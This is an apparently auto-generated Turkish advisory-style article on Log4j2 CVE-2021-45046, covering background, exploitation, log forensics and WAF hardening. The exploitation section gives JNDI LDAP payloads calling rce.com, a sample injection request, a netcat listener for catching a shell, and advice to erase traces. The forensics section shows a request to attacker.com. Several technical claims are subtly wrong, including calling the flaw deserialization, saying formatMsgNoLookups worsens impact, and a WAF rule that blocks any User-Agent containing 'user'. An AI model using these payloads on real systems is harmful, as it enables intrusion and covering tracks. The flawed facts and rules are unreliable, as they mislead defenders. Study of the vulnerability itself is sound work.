CVE-2021-45046 · Bilgilendirme

Apache Log4j2 Deserialization of Untrusted Data Vulnerability

CVE-2021-45046, Apache Log4j2'de uzaktan kod yürütmeye neden olabilen bir zafiyettir.

Üretici
Apache
Ürün
Log4j2
Seviye
yüksek
Yayın Tarihi
03 Nisan 2026
Okuma
8 dk okuma

CVE-2021-45046: Apache Log4j2 Deserialization of Untrusted Data Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2021-45046, Apache Log4j2'nin güvenlik açığı, dikkat çekici bir deserialization of untrusted data (güvenilmeyen verilerin deserialization (tersine mühendislik) edilmesi) zafiyetidir. Bu zafiyet, önceki zafiyetlerin (özellikle CVE-2021-44228) düzeltilmesindeki eksikliklerden doğmuştur. Log4j2, Java tabanlı uygulamalarda yaygın olarak kullanılan bir günlüğe kaydetme (logging) kütüphanesidir ve bu kütüphanedeki bir hata, kötü niyetli kullanıcıların uzaktan kod yürütmesine (remote code execution - RCE) yol açabilir. Bu durum, belirli konfigürasyonlarla bir araya geldiğinde özellikle tehlikeli hale gelir.

Zafiyetin arka planında, Log4j2'nin Thread Context Lookup Pattern adlı özelliğindeki yanlış yapılandırma yatmaktadır. Bu özellik, zamanında kullanıcı dostu hale getirilmiş olsa da, bazı varsayılan olmayan ayarlarla kullanılmaya başlandığında, sistemi tehlikeye atabilir. Örneğin, bir web uygulamasında bu özellik yanlış bir şekilde ayarlandığında, kötü aktörler, sistem sahibinin bilgisi dışında zararlı kodlar çalıştırabilir. Bu durum, bir sunucuya veya veritabanına sızma ve hassas bilgileri çalma gibi sonuçlar doğurabilir.

CVE-2021-45046'nın etkisi dünya çapında geniş bir yelpazeye yayılmaktadır. Özellikle finansal hizmetler, sağlık hizmetleri, kamu sektörü ve bilgi teknolojisi sektörleri bu zafiyetten en çok etkilenen alanlardır. Çünkü bu sektörlerde genellikle çok sayıda kullanıcı verisi saklanmakta ve işlenmektedir. Örneğin, bir bankanın veya sağlık kuruluşunun Log4j2 kullanan bir uygulamasında bu zafiyetten faydalanan bir saldırgan, kullanıcıların kişisel verilerini çalabilir veya sistem üzerinde kontrol sahibi olabilir.

Gerçek dünya senaryolarında, örneğin bir e-ticaret web sitesi, Log4j2 kullanarak kullanıcı taleplerini işleyip, verileri günlüğe kaydediyor olabilir. Eğer bu web sitesi zafiyetten etkileniyorsa, kötü niyetli bir kullanıcı, uygun bir payload (yük) kullanarak uygulama sunucusuna sahte veriler gönderebilir. Bu veriler, sunucuda kötü niyetli bir kodun çalışmasına neden olabilir. Bu tür bir saldırı sonucunda, sunucu tamamen ele geçirilebilir ve veritabanındaki kullanıcı bilgilerine erişim sağlanabilir; bu da kullanıcıların kimlik bilgilerinin ifşasına yol açabilir.

Zafiyet, bu tür saldırılara karşı savunmasız olan sistemlerin sayısını arttırmakta ve saldırganların hedef alabileceği daha fazla fırsat sunmaktadır. Önerilen en iyi uygulama, Log4j2'nin en son sürümüne geçiş yaparak, bu tür güvenlik açıklarını kapatmaktır. Ayrıca, uygulamaların geliştirilmesinde dikkatli bir yapılandırma ve güvenlik testleri yapılması, bu tür zafiyetlere karşı koruma sağlamaya yardımcı olacaktır.

Sonuç olarak, CVE-2021-45046, güvenlik alanındaki ciddi bir uyanışı temsil ediyor. Log4j2 gibi yaygın bir kütüphanenin güvenlik açıkları, uygulama geliştiricileri ve siber güvenlik uzmanları için önemli bir öğrenme fırsatı sunarken, topluluk ve bireyler arasında dikkatli olunmasını gerektiriyor. Eğitim programlarının ve güvenlik politikalarının güçlendirilmesi, benzer zafiyetlerin gelecekte ortaya çıkmasını azaltmak açısından son derece kritik bir rol oynuyor.

Teknik Sömürü (Exploitation) ve PoC

Apache Log4j2, defansif yazılımlar arasında en çok kullanılan kütüphanelerdendir. Ancak 2021'de keşfedilen CVE-2021-45046 gibi zafiyetler, bu kütüphaneyi kullanarak geliştirilen uygulamalara ciddi riskler getirebilir. Bu bölümde, bu zafiyeti sömürmek için adım adım bir teknik yol haritası sunacağız. Hedefimiz, bağlamı daha iyi anlamaktır; bu nedenle gerçek dünya senaryolarına da değineceğiz.

Bu zafiyet, Apache Log4j2'nin Thread Context Lookup Pattern'inin belirli yapılandırmalarda uzaktan kod çalıştırma (Remote Code Execution - RCE) saldırılarına maruz kalmasından kaynaklanmaktadır. CVE-2021-44228’in eksik bir düzeltmesi olarak değerlendirilmelidir. Malicious bir aktör, kötü niyetli bir payload'u sunucuya gönderebilir; eğer uygulama bu payload'u işlemeye çalışırsa, saldırgan sunucu üzerinde uzaktan komut çalıştırma yeteneği kazanabilir.

İlk adım olarak, zafiyetin bulunduğu uygulamanın veya sistemin hedef alındığına dair bilgi edinebiliriz. Bunun için aşağıdaki HTTP isteğini kullanarak Log4j2 versiyonunu öğrenmek mümkün olabilir:

GET /path/to/vulnerable/endpoint HTTP/1.1
Host: target-application.com
User-Agent: Apache-Log4j2/2.14.1

Sunucu, açık bir şekilde Log4j2 sürümünü döndürürse, bir RCE (Uzaktan Kod Çalıştırma) zafiyeti olabileceğini anlamamız kolaylaşır. Hedefin açığa çıkarılması ve başarılı bir sömürü için, uygulamanın yapılandırmasının nasıl yapıldığını incelemek önemlidir. Log4j2 için, özellikle log4j2.formatMsgNoLookups özelliği, zafiyetin patlayıcı etkisini artıran bir unsurdur.

İkinci adım, kötü niyetli bir payload'u hazırlamaktır. Payload, rce.com adresine veri gönderecek şekilde tasarlanmış olmalıdır. Aşağıdaki örnekte, bir JNDI (Java Naming and Directory Interface) içeriği kullanarak uzaktan bir kod çalıştırmayı hedefleyen bir payload görüyoruz:

${jndi:ldap://rce.com/Exploit}

Bu payload'u bir application loguna enjekte etmek için HTTP isteği aşağıdaki gibi olabilir:

POST /vulnerable/path HTTP/1.1
Host: target-application.com
Content-Type: application/json

{
  "log": "${jndi:ldap://rce.com/Exploit}"
}

Sunucu, bu isteği aldıktan sonra, payload’u işleyip JNDI üzerinden kötü niyetli kodu yüklemeye çalışacaktır. Elbette bu istek geri çevrilebilir, dolayısıyla payload’un kendi sunucumuzda hazır bulunması gerekmektedir.

Üçüncü adımda, zararlı kodun etkisini kontrol etmek amacıyla bir dinleyici (listener) oluşturmamız gerekecektir. Bunun için, örneğin, Netcat aracını kullanabiliriz:

nc -lvnp 4444

Bu komut, dinleyici olarak 4444 portunu kullanarak bekleyecektir. Eğer hedef, daha önce belirtilen payload’u başarıyla çalıştırırsa, bu port üzerinden bağlantı kuracağı bir shell alabiliriz.

Son aşamada, sistemdeki potansiyel açıkları ve istismar sonrası elde edilen erişim seviyesini belirlemek önemlidir. Sömürü tamamlandığında, sistemde iz bırakmamak için geri dönüp gereksiz dosyaları ve kodları temizlemeyi unutmamalıyız.

Apache Log4j2 üzerindeki bu zafiyetin sürekli olarak gözlemlenmesi ve loglama uygulamalarında güvenlik önlemlerinin alınması kritik öneme sahiptir. White Hat hacker'lar olarak, bu tür zafiyetlerin bulunması, düzeltilmesi ve önlenmesi için sürekli eğitim almamız gerekmektedir. Bu zafiyetin detayları ve benzeri diğer zafiyetler için, uygulama güncellemeleri ve test süreçlerinin sürekli hale getirilmesi önerilmektedir.

Forensics (Adli Bilişim) ve Log Analizi

CVE-2021-45046, Apache Log4j2'nin bir güvenlik açığıdır ve bu açık, CVE-2021-44228'deki eksik düzeltmelerden kaynaklanmaktadır. Bu zafiyet, Thread Context Lookup Pattern aracılığıyla uzak kod yürütmesine (Remote Code Execution - RCE) olanak tanıyabilmektedir. Özellikle, sistemlerin varsayılan yapılandırmalarında bulundukları durumda, bu tehlike daha da artmaktadır. Bu bağlamda, adli bilişim (forensics) ve log analizi konuları, zafiyetin tespit edilmesinde kritik bir rol oynamaktadır.

Gerçek dünya senaryoları üzerinden örnek vermek gerekirse, bir organizasyonun web uygulaması Log4j2 kütüphanesini kullanıyorsa ve bir siber saldırgan bu zafiyeti kullanarak zararlı bir payload gönderiyorsa, zarar görebilecek birçok bileşen bulunmaktadır. Bu tür durumları tespit etmek için bir siber güvenlik uzmanı, log dosyalarını dikkatlice analiz etmelidir.

Sistem yöneticileri, SIEM (Security Information and Event Management) araçları kullanarak potansiyel saldırıların izini sürebilir. Apache web sunucularında kullanılan log dosyaları, Access log (Erişim kaydı) ve Error log (Hata kaydı) gibi iki ana kategoriye ayrılabilir. Erişim kayıtlarında, genellikle kullanıcıların ve sistemin gerçekleştirdiği tüm HTTP istekleri yer alırken, hata kayıtları ise sunucu hataları ve uygulama düzeyi hataları ile ilgili bilgileri içerir.

Olası bir saldırıyı tespit etmek için, uzmanların göz atması gereken bazı kritik imzalar (signatures) ve log ifadeleri şunlardır:

  1. Erişim Kayıtları Analizi: Erişim kayıtlarında, anormal HTTP isteği kalıpları aramalısınız. Örneğin, aşağıdaki gibi bir istek, Log4j2 zafiyetini hedef alan bir saldırı olabilir:
   GET /example?param=%24%7Bjndi:ldap://attacker.com/a%7D HTTP/1.1
  1. Hata Kayıtları Analizi: Hata kayıtlarında, belirli bir regex desenine uyan hata mesajları görülebilir. Eğer hata mesajları, deserialization (deserializasyon - nesne alma) hatalarına işaret ediyorsa, bu da potansiyel bir saldırıya işaret edebilir:
   ERROR ... org.apache.logging.log4j.core.lookup.JndiLookup
  1. Anormal Davranışlar: Kullanıcı davranışlarını izlerken, özellikle yüksek sayıda isteğin gelmesi, şifreleme algoritmaları veya beklenmedik IP adreslerinden gelen istekler gibi anomalilere dikkat edilmelidir. Bu tür aktiviteler genellikle bir saldırının habercisidir.

  2. Payload Gözlemi: İçerik gözetim çözümleri kullanarak, belirli payload’ların (yüklerin) veya isteklerin belirgin bir şekilde sunucuya gönderilip gönderilmediğini kontrol edebilirsiniz. Yukarıdaki örnekteki gibi jndi protokolü de bir hedef belirten anahtar kelimedir.

Siber güvenlik uzmanları, bu tür zafiyetleri tespit etmek için SIEM'in yanı sıra, log yönetim araçları ve adli analiz yazılımlarını kullanmalıdır. Bu yazılımlar, anormallikleri ve özellikle Log4j2'nin bulunabileceği sistemlerdeki güvenlik açıklarını tespit etmek için faydalı olabilir. Sonuç olarak, Log4j2 üzerindeki bu zafiyetin tespit edilmesi için log analizi önemli bir yöntemdir ve bu analizin doğru bir şekilde gerçekleştirilmesi, organizasyonun güvenliğini arttırmada büyük rol oynar.

Savunma ve Sıkılaştırma (Hardening)

Apache Log4j2, dünya genelinde birçok uygulamada kullanılan yaygın bir kütüphanedir, ancak 2021 yılında ortaya çıkan CVE-2021-45046 açığı, bu kütüphanenin yanlış yapılandırılması durumunda ciddi güvenlik sorunlarına yol açabiliyor. Bu zafiyet, tamamlanmamış bir düzeltme nedeniyle, uzaktan kod yürütmesine (RCE - Remote Code Execution) imkan tanıyor. Kötü niyetli kullanıcılar, bu zafiyet aracılığıyla hedef sistemde zararlı kod çalıştırabilir ve sistemin tam kontrolünü ele geçirebilir. Bu nedenle, Apache Log4j2 kullanan sistemlerin savunma ve sıkılaştırma (hardening) süreçleri kritik öneme sahiptir.

CVE-2021-45046 açığının etkilerinden korunmak için öncelikle mevcut uygulamalarınızda Log4j2 kütüphanesinin güncellenmiş bir sürümünü (2.16.0 ve sonrasını) kullanmalısınız. Ancak bu güncelleme tek başına yeterli değildir. Gerçek dünyada, sistemler genellikle standart olmayan veya özel yapılandırmalarla çalışır. Bu nedenle, StackTracePattern veya Thread Context Lookup gibi özelliklerin zorlaştırılması gerekir. Bu tür özellikler genellikle varsayılan kurulumlar dışında kullanılmakla birlikte, bir saldırganın istismar edebileceği yollar açabilir.

Bu tür durumlardan kaçınmak için uygulamanızın yapılandırmalarını gözden geçirmeniz önerilir. Kullandığınız tüm veri kaynaklarını ve bu kaynaklardan gelen girdi verilerini filtreleyen bir katman koymak, güvenliği artıracaktır. Ayrıca, aşağıda önerilen güvenlik duvarı (WAF - Web Application Firewall) kurallarını da göz önünde bulundurmalısınız.

SecRule REQUEST_HEADERS:User-Agent ".*user.*" \
    "id:1000001,phase:1,t:none,deny,status:403,msg:'Potential RCE attempt detected'"

SecRule REQUEST_BODY "(?i)(\$\{(jndi|env):)" \
    "id:1000002,phase:2,t:none,deny,status:403,msg:'Potential Log4j injection'"

SecRule MATCHED_VAR "@rx (jndi:) " \
    "id:1000003,phase:2,t:none,deny,status:403,msg:'Blocked JNDI injection'"

Bu kurallar, uygulamanızda potansiyel Log4j enjeksiyon saldırılarını tespit edip engellemeye yardımcı olacaktır.

Sıkılaştırma (hardening) yöntemleri arasında, kullanılmayan kütüphanelerin ve modüllerin kaldırılması, sistemdeki izinlerin düzenlenmesi, log dosyalarının düzenli olarak izlenmesi ve uygulama güncellemelerinin otomatik olarak yapılması yer alır. Ayrıca, sıklıkla güvenlik testleri gerçekleştirmek ve açık kaynaklı güvenlik araçlarıyla sistemlerinizi taramak da faydalıdır.

Kod denetimi ve güvenlik testleri yapmak, sisteminizdeki zafiyetleri anlamanızı ve bunlara karşı uygun önlemler almanızı sağlar. Bu yaklaşım, bir Buffer Overflow (Tampon Taşma) ya da Auth Bypass (Kimlik Doğrulama Aşma) gibi başka güvenlik açıklarının ortaya çıkmasını da engelleyebilir.

Sonuç olarak, CVE-2021-45046 açığını kapatmanın yolu, sadece yazılımınızı güncellemekten geçmiyor. Yapılandırmanızı gözden geçirip sıkılaştırma (hardening) adımlarını atmak, güvenlik duvarı kurallarını etkin bir şekilde kullanmak ve sürekli olarak sistemleri izlemek, uzun vadede cyber saldırılara karşı daha dayanıklı bir altyapı oluşturacaktır. White Hat Hacker perspektifinden bu tür proaktif yaklaşımlar, siber dünyada güvenliğinizi artırmak için gereklidir.